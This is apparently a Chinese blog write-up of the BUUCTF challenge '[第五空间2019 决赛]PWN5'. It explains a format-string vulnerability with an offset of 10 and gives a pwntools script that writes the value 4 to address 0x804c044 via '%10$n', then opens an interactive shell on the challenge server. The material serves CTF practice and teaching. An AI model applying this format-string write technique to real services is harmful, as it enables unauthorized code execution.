buu [第五空间2019 决赛]PWN5 wp

最新推荐文章于 2024-11-28 20:16:44 发布

原创最新推荐文章于 2024-11-28 20:16:44 发布 · 290 阅读

0 ·

CC 4.0 BY-SA版权

pwn 专栏收录该内容

3 篇文章

订阅专栏

本文介绍了一种利用格式化字符串漏洞的方法，通过向指定偏移地址写入特定数值来实现远程代码执行。示例中使用Python的pwntools库连接到远程服务器并发送构造好的payload。

存在格式化字符串漏洞
在这里插入图片描述

经过尝试发现偏移为10
在这里插入图片描述

from pwn import *

addr=0x804c044

p=remote("node3.buuoj.cn",29172)

#%10$n的意思是向偏移为10处所指向的地址处写入已经写的字符数
#即 mov [%10$n] , 字符数 
payload=p32(addr)+"%10$n"

p.sendline(payload)
#p32写入的字符数是4
p.sendline("4")
p.interactive()